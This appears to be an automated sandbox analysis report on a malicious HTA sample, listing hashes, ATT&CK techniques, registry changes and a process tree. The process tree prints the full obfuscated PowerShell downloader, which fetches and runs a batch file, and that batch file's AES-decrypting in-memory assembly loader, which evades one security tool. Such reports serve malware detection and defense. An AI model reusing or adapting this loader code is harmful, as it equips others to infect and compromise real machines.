2f8dc972e9ec1b47d2beb064776d2df9778d253a5030870405843bed0fb32640

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
08/05/2024, 14:58

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General

Target
3.hta
Size 12KB
Sample240508-sb53fsaa5x
SHA256 2f8dc972e9ec1b47d2beb064776d2df9778d253a5030870405843bed0fb32640
MD5 4ab94c892e634430c8eabae82af4d875
SHA1 f145d298d9350ac8239da286a6f00dc5c3f31e8f
SHA512 c425b5901873a9be27ebf639e86b9e310b42304d09a4032b8faae16d6af0a73e3e3df4da26baf6bc7246b1bef84243dc54de8dbbc4d0f8a35f94605c55f01c4e
SSDEEP 384:lop4KdAK/GEDKKb8AKKbFq2KKbZ6cjKL7ZwW7+6OJnkpwcRRZsKwtrlio0KwJ2r:lUJ/GeKKb5KKb3KKbZ6aKi6KnkphsKLs
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	3008	powershell.exe
5	3008	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
3008	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2696	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
1192	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeDebugPrivilege	1192	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 3008	2700	mshta.exe	28
PID 2700 wrote to memory of 3008	2700	mshta.exe	28
PID 2700 wrote to memory of 3008	2700	mshta.exe	28
PID 2700 wrote to memory of 3008	2700	mshta.exe	28
PID 3008 wrote to memory of 2696	3008	powershell.exe	30
PID 3008 wrote to memory of 2696	3008	powershell.exe	30
PID 3008 wrote to memory of 2696	3008	powershell.exe	30
PID 3008 wrote to memory of 2696	3008	powershell.exe	30
PID 3008 wrote to memory of 2696	3008	powershell.exe	30
PID 3008 wrote to memory of 2696	3008	powershell.exe	30
PID 3008 wrote to memory of 2696	3008	powershell.exe	30
PID 3008 wrote to memory of 2696	3008	powershell.exe	30
PID 3008 wrote to memory of 2696	3008	powershell.exe	30
PID 3008 wrote to memory of 1832	3008	powershell.exe	32
PID 3008 wrote to memory of 1832	3008	powershell.exe	32
PID 3008 wrote to memory of 1832	3008	powershell.exe	32
PID 3008 wrote to memory of 1832	3008	powershell.exe	32
PID 1832 wrote to memory of 1572	1832	cmd.exe	34
PID 1832 wrote to memory of 1572	1832	cmd.exe	34
PID 1832 wrote to memory of 1572	1832	cmd.exe	34
PID 1832 wrote to memory of 1572	1832	cmd.exe	34
PID 1572 wrote to memory of 1500	1572	cmd.exe	36
PID 1572 wrote to memory of 1500	1572	cmd.exe	36
PID 1572 wrote to memory of 1500	1572	cmd.exe	36
PID 1572 wrote to memory of 1500	1572	cmd.exe	36
PID 1572 wrote to memory of 1192	1572	cmd.exe	37
PID 1572 wrote to memory of 1192	1572	cmd.exe	37
PID 1572 wrote to memory of 1192	1572	cmd.exe	37
PID 1572 wrote to memory of 1192	1572	cmd.exe	37

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\3.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2700
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function APgmbjLOXLyDCo($JbCqR, $haYSvpsUITIjCDP){[IO.File]::WriteAllBytes($JbCqR, $haYSvpsUITIjCDP)};function EAdhMqKTsBgn($JbCqR){if($JbCqR.EndsWith((uGIVecNMsbxk @(64700,64754,64762,64762))) -eq $True){rundll32.exe $JbCqR }elseif($JbCqR.EndsWith((uGIVecNMsbxk @(64700,64766,64769,64703))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $JbCqR}elseif($JbCqR.EndsWith((uGIVecNMsbxk @(64700,64763,64769,64759))) -eq $True){misexec /qn /i $JbCqR}else{Start-Process $JbCqR}};function wjPCvObwAmjJyUdaXG($gQOBxNAyeHpqX){$dDskdaHYdZknHXzXJymo = New-Object (uGIVecNMsbxk @(64732,64755,64770,64700,64741,64755,64752,64721,64762,64759,64755,64764,64770));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$haYSvpsUITIjCDP = $dDskdaHYdZknHXzXJymo.DownloadData($gQOBxNAyeHpqX);return $haYSvpsUITIjCDP};function uGIVecNMsbxk($lugVvlCCwkT){$GJPGF=64654;$FkAAPhCqeNqpA=$Null;foreach($bUICCliWWpr in $lugVvlCCwkT){$FkAAPhCqeNqpA+=[char]($bUICCliWWpr-$GJPGF)};return $FkAAPhCqeNqpA};function XEctGdesQtRZym(){$YDrprhvMBVQKEHdY = $env:AppData + '\';$aLjfwbQTGPkIcn = $YDrprhvMBVQKEHdY + '33.xlsx';If(Test-Path -Path $aLjfwbQTGPkIcn){Invoke-Item $aLjfwbQTGPkIcn;}Else{ $xnvLVBnevhBEnLRIzgp = wjPCvObwAmjJyUdaXG (uGIVecNMsbxk @(64758,64770,64770,64766,64712,64701,64701,64703,64711,64705,64700,64704,64704,64704,64700,64711,64708,64700,64703,64704,64706,64712,64709,64704,64710,64709,64701,64705,64705,64700,64774,64762,64769,64774));APgmbjLOXLyDCo $aLjfwbQTGPkIcn $xnvLVBnevhBEnLRIzgp;Invoke-Item $aLjfwbQTGPkIcn;};$bZgJKEnoQHIlgQ = $YDrprhvMBVQKEHdY + 'xD.bat'; if (Test-Path -Path $bZgJKEnoQHIlgQ){EAdhMqKTsBgn $bZgJKEnoQHIlgQ;}Else{ $shhld = wjPCvObwAmjJyUdaXG (uGIVecNMsbxk @(64758,64770,64770,64766,64712,64701,64701,64703,64711,64705,64700,64704,64704,64704,64700,64711,64708,64700,64703,64704,64706,64712,64709,64704,64710,64709,64701,64774,64722,64700,64752,64751,64770));APgmbjLOXLyDCo $bZgJKEnoQHIlgQ $shhld;EAdhMqKTsBgn $bZgJKEnoQHIlgQ;};;;;}XEctGdesQtRZym;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde
    3⤵
    - Enumerates system info in registry
    - Modifies Internet Explorer settings
    - Modifies registry class
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:2696
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Roaming\xD.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1832
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\xD.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1572
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\xD.bat';$wGtl='LowQGLawQGLdwQGL'.Replace('wQGL', ''),'ElfxQUemfxQUenfxQUtAfxQUtfxQU'.Replace('fxQU', ''),'FUtjArUtjAomUtjABasUtjAe6UtjA4UtjAStrUtjAingUtjA'.Replace('UtjA', ''),'GeOQGltOQGlCurOQGlrOQGleOQGlntOQGlPrOQGloOQGlcesOQGlsOQGl'.Replace('OQGl', ''),'EsWNTntsWNTryPsWNToisWNTntsWNT'.Replace('sWNT', ''),'MaieNXOnMoeNXOdueNXOleNXOeeNXO'.Replace('eNXO', ''),'TrOcAbansOcAbfoOcAbrmFOcAbiOcAbnaOcAblBOcAblocOcAbkOcAb'.Replace('OcAb', ''),'Splwhduiwhdutwhdu'.Replace('whdu', ''),'InPTvuvokPTvuePTvu'.Replace('PTvu', ''),'CreUFVYaUFVYteUFVYDUFVYecUFVYryUFVYptUFVYoUFVYrUFVY'.Replace('UFVY', ''),'CharscrngerscrErscrxrscrtrscrerscrnsirscrorscrnrscr'.Replace('rscr', ''),'DebAhhcobAhhmbAhhprbAhhebAhhssbAhh'.Replace('bAhh', ''),'CwGRRopwGRRyTwGRRowGRR'.Replace('wGRR', ''),'ReygHbadygHbLiygHbneygHbsygHb'.Replace('ygHb', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($wGtl[3])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function kqXMT($FvMLi){$yuVsf=[System.Security.Cryptography.Aes]::Create();$yuVsf.Mode=[System.Security.Cryptography.CipherMode]::CBC;$yuVsf.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$yuVsf.Key=[System.Convert]::($wGtl[2])('ZPmarITq2qISishmMhAN5SieN3zSIyXHEEMkcAYPN4Y=');$yuVsf.IV=[System.Convert]::($wGtl[2])('pKL8KnX4ANOD8Ef8OdOJnQ==');$fXTHi=$yuVsf.($wGtl[9])();$KWagE=$fXTHi.($wGtl[6])($FvMLi,0,$FvMLi.Length);$fXTHi.Dispose();$yuVsf.Dispose();$KWagE;}function ymbNX($FvMLi){$BKlMi=New-Object System.IO.MemoryStream(,$FvMLi);$CmUjH=New-Object System.IO.MemoryStream;$xWgPw=New-Object System.IO.Compression.GZipStream($BKlMi,[IO.Compression.CompressionMode]::($wGtl[11]));$xWgPw.($wGtl[12])($CmUjH);$xWgPw.Dispose();$BKlMi.Dispose();$CmUjH.Dispose();$CmUjH.ToArray();}$pYGwG=[System.IO.File]::($wGtl[13])([Console]::Title);$BqtDQ=ymbNX (kqXMT ([Convert]::($wGtl[2])([System.Linq.Enumerable]::($wGtl[1])($pYGwG, 5).Substring(2))));$fdKjl=ymbNX (kqXMT ([Convert]::($wGtl[2])([System.Linq.Enumerable]::($wGtl[1])($pYGwG, 6).Substring(2))));[System.Reflection.Assembly]::($wGtl[0])([byte[]]$fdKjl).($wGtl[4]).($wGtl[8])($null,$null);[System.Reflection.Assembly]::($wGtl[0])([byte[]]$BqtDQ).($wGtl[4]).($wGtl[8])($null,$null); "
        5⤵
        
        PID:1500
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

33.xlsx

Path C:\Users\Admin\AppData\Roaming\33.xlsx
Size 32KB
SHA256 2272c6b170d229bf9705f65f7cce010a27a6c55f05d24ffe4a860e4fa69b9a49
MD5 9f52ebd4e53095cb7d4e73c85af5597f
SHA1 0dc8d51c8a27cb55e0d873da58d5aa115c58bdc8
SHA512 a878f73cb7b6ec022663bff6166c1c7048ee3e8883b966f4acd4544fe6d2691cc98bff3a6a3adb5dfd6ca5dd882c48eaa6eef46184457eb28af8441ef27634bf
SSDEEP 768:wQXrkpw2D7KXLhSkIj5bmcjXrLdS9ngre4k1FELS:TQW2D7ABIjFmcLNS9ngS4kl
MD5 SHA1 SHA512 SSDEEP

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d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 7KB
SHA256 9d9d31d2e61c2b9f77633957d081f4048f0f02f6df96d635344f7bdfb64b6121
MD5 6bc2f35a8618fd457bcb26dfe457c858
SHA1 e0b6c5601e3a7635592c7f5fcf0d81f67756c8be
SHA512 5bacb8b3570de4e8e22dc223b513324c7a8585d72c1bf23fd68d8ded5facbb7cf8bba43ed1631f24410634726726f74a00788cfb681952e5e645c9c53d250c2c
SSDEEP 96:0qAFwCaIM8inqvsqvJCwowqAFwCaIM8inqvsEHyqvJCworHABUaQHZz/z7TxXlU9:rAFheUoHAFheAHnorHyor7Txg
MD5 SHA1 SHA512 SSDEEP

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xD.bat

Path C:\Users\Admin\AppData\Roaming\xD.bat
Size 65KB
SHA256 7c797bc3c700354b531d7b0aa4fbcfe6f3221e580d398037cb4ac8f632a9743c
